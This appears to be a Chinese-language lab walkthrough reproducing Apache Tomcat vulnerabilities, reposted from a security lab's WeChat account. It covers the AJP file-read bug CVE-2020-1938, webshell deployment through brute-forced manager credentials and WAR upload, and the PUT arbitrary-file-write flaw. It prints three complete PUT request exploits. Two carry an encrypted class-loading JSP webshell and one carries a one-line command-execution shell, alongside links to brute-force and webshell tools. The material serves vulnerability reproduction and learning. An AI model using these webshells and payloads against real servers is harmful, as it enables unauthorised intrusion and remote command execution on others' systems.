漏洞环境
Tomcat环境:
链接:https://pan.baidu.com/s/1L95660-znIqtz8PpVJU62w
提取码:gbli
端口扫描工具:
链接:https://pan.baidu.com/s/1A8fu4wEe39XqXuSgEqx3ZA
提取码:ndhm
Tomcat账号密码批量爆破工具:
链接:https://pan.baidu.com/s/1Z9lknNIWnmuGUiJh1jl4RQ
提取码:dq2d
冰蝎连接工具
链接:https://pan.baidu.com/s/1vH_5vGsI-TBtmNBDgNNWiA
提取码:4ypd
Tomcat_Ajp漏洞(CVE-2020-1938)
由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。
影响范围:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞复现
下载tomcat环境默认安装即可,我选择的版本为7.0.73。
端口探测
利用POC:
链接:https://pan.baidu.com/s/1qeOett2cNb5WJ-7z3FztAg
提取码:7nie
语法如图
Tomcat弱口令拿shell
Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,造成getshell
在安装tomcat我设置了账号密码,使用tomcat账号密码批量爆破工具试试,下载解压即可,语法如图。(觉得字典少的可以自行修改脚本代码添加字典)
上传War包
先将jsp大马压缩为zip,再将zip后缀改名为war,然后上传war包
当部署war包后,war包就会在当前路径下解压,所以shell地址为
http://172.16.67.196:8080/shell/shell.jsp
口令pass
Tomcat PUT 方法任意写文件
影响范围
Apache Tomcat 7.0.0 - 7.0.79实际Tomcat 5-9均存在类似的利用方式
漏洞复现
漏洞利用前提:修改/conf/web.xml修改图中位置,重启tomcat服务。
Poc有三种,具体情况具体对待
POC1:
PUT /1.jsp%20 HTTP/1.1
Host: 172.16.67.196:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 613
<%import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
这种方式适合之所以可以成功创建jsp文件是因为Windows下不允许文件名以空格结尾,但是尾部添加空格可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理绕过。这种利用方式适用于Windows服务器+Tomcat 7.x
POC2:
PUT /1.jsp::$DATA HTTP/1.1
Host: 172.16.67.196:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 613
<%import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
这种方式之所以可行是因为利用了Windows环境下NTFS文件格式的特性,NTFS文件格式存在如下的性质,为此同样可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用于Windows系统+Tomcat 7.x
Poc3:
PUT /1.jsp/ HTTP/1.1
Host: 172.16.67.196:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
这种利用斜杠/绕过适合Windows系统及Linux系统,覆盖了Tomcat 5.x-9.x。
我这里适用第一种情况
Shell地址
http://172.16.67.196:8080/1.jsp
口令pass
原文始发于微信公众号(赛瑞攻防实验室):Tomcat漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论